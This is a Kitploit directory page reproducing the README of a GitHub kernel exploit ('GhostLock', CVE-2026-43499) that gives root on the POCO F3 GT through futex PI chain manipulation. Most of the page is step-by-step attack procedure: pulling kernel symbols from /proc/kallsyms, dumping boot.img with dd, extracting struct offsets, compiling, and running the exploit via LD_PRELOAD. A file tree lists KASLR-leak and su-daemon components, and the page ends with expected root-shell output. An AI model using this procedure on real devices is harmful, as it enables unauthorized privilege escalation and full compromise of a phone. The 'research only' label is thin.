Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ghostlock-aresin — GhostLock (CVE-2026-43499) exploit for POCO F3 GT (aresin) — MediaTek Dimensity 1200, Linux 4.14.186 ARM64 kernel privilege escalation via futex PI chain manipulation | Kitploit
Tools/GitHubGitHub/nothingfumo/ghostlock-aresin
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringMobile SecurityBinary Exploitation
GitHubnothingfumo/ghostlock-aresin

ghostlock-aresin

GhostLock (CVE-2026-43499) exploit for POCO F3 GT (aresin) — MediaTek Dimensity 1200, Linux 4.14.186 ARM64 kernel privilege escalation via futex PI chain manipulation

View Repository
42924 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

Data-only physmap overwrite exploit for MediaTek Dimensity 1200 (MT6893). Kernel: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.

⚠️ Prerequisites

  • Device: POCO F3 GT / Redmi K40 Gaming Edition (codename: aresin)
  • Chipset: MediaTek Dimensity 1200 (MT6893)
  • OS: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  • Kernel: 4.14.186-g0dc1d312efb3
  • No bootloader unlock required — shell privileges can be obtained via Shizuku (wireless debugging) to run
  • Shizuku or adb shell can execute arm64 binaries
  • After running, the device will reboot (kernel panic — expected behavior). To save logs, connect adb logcat beforehand.

✅ Vulnerability Condition Check

ConditionStatusDescription
Kernel version range✅4.14.186 is within the 2.6.39 ~ 7.0.4 range
CONFIG_FUTEX_PI✅Enabled (y)
CONFIG_RT_MUTEXES✅Enabled (y)
Architecture✅aarch64
CONFIG_PREEMPT✅Enabled (y)
CONFIG_RANDOMIZE_KSTACK❓Needs confirmation (4.14 may not support it)

🔧 Adaptation Steps

Step 1: Extract kernel symbol addresses

root@kitploit:~
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

If you have root (Magisk), you can extract directly from /proc/kallsyms:

root@kitploit:~
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

Step 2: Extract vmlinux and analyze struct offsets

Method A: Extract vmlinux from boot.img

root@kitploit:~
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)

# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

Method B: Analyze with Ghidra

  1. Open vmlinux.elf in Ghidra
  2. Search for the rt_mutex_waiter and task_struct structs
  3. Record the offset of each field

Step 3: Fill in target.h

Fill the extracted offsets into all 0xTODO placeholders in target.h.

Key offset reference table:

Step 4: Compile

root@kitploit:~
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 编译
make preload TARGET_HEADER=target.h

# 产物: build/bin/preload.so

Step 5: Test

root@kitploit:~
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 Expected Behavior

⚠️ Important Notes

4.14.x vs 6.1.x Kernel Differences

  1. rt_mutex_waiter struct differs:

    • 4.14.x uses plist_node instead of rb_node
    • Field offsets are completely different
    • May not have deadline / ww_ctx fields
  2. task_struct layout differs:

    • Offsets of pi_blocked_on, pi_lock, etc. in 4.14.x differ from 6.1.x
    • uclamp-related fields may not exist in 4.14.x
  3. KASLR implementation differs:

    • 4.14.x KASLR randomization differs from 6.1.x
    • The leak method may need adjustment
  4. Android 13 vs 14 security differences:

    • SELinux policy may differ
    • /proc/self/pagemap access restrictions may differ

Offset Verification

After filling in offsets, cross-verify with Ghidra:

  1. Open vmlinux.elf in Ghidra
  2. Jump to the rt_mutex_waiter struct
  3. Confirm that each field's offset matches target.h

📁 File Structure

root@kitploit:~
ghostlock-aresin/
├── README.md              # 本文件
├── Makefile               # 编译脚本
├── target.h               # 目标设备偏移定义 (需要填写)
├── src/                   # 源码
│   ├── main.c             # 主利用逻辑
│   ├── util.c             # 工具函数
│   ├── slide.c            # KASLR 泄漏
│   ├── fops.c             # 文件操作
│   ├── pipe.c             # pipe 相关
│   ├── preload.c          # LD_PRELOAD 入口
│   ├── su_daemon.c        # su 守护进程
│   ├── su_blob.S          # su 二进制嵌入
│   ├── standalone.c       # 独立运行
│   ├── common.h           # 公共定义
│   └── offset.h           # 偏移计算
├── tools/
│   └── extract_offsets.sh # 偏移提取脚本
└── build/
    ├── bin/               # 编译产物
    └── embed/             # 嵌入文件

📜 License

For research/educational purposes only. Use at your own risk.

Original PoC: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ Adapted for: POCO F3 GT (aresin) by ghostlock-aresin

Download Tool
FieldDescriptionExtraction Method
INIT_TASKinit_task address/proc/kallsyms or Ghidra
INIT_CREDinit_cred address/proc/kallsyms or Ghidra
WAITER_*_OFFrt_mutex_waiter field offsetspahole / Ghidra
FAKE_TASK_*_OFFtask_struct field offsetspahole / Ghidra
TASK_CRED_OFFcred pointer offsetpahole / Ghidra
StageOutputDescription
Initialization[*] GhostLock - aresin (MT6893 D1200) 4.14.186Device identified correctly
CPU pinning[+] CPU0 pinnedPinned to CPU0
Address loading[*] init_task @ 0xffffffc00xxxxxxxFixed LM address
Privilege check[+] uid: xxxxxPrints current uid
KASLR slide[+] slide = 0 or slide = xxxKASLR detection
Trigger privilege escalationOn success, uid becomes 0Root obtained
Failure[-] ... + rebootKernel panic (vulnerability exists but offsets need adjustment)